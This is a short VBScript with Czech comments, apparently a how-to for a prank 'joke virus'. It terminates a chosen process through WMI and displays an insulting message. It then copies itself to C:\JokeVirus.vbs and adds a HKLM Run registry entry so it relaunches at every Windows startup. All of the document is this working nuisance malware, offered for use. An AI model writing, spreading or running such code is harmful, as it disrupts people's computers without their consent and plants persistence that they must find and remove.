rem Jestli je libo vypnout nějaký proces, stačí napsat do proměnné ProcessName jeho jméno 

Set ProcessSet = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_Process")
ProcessName = "jmenoprogramu.exe"
For each Process in GetObject("winmgmts:{impersonationLevel=impersonate}!//localhost").ExecQuery("select * from Win32_Process where Name='" & ProcessName &"'")
Process.Terminate
Next

rem Vypli jsme proces, dál můžeme zobrazit zprávu že uživatel je lama, kód je jednoduchý:
wscript.echo "Jsi lama!"

rem Tak to ještě zapíšem do registru ať se to spuští po najetí windows, ale ještě předtím musíme ten script někam uložit 

Set fso = CreateObject("Scripting.FileSystemObject")
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy("C:\JokeVirus.vbs")
dim wscr
set wscr=CreateObject("WScript.Shell")
wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DRN","C:\JokeVirus.vbs","REG_SZ"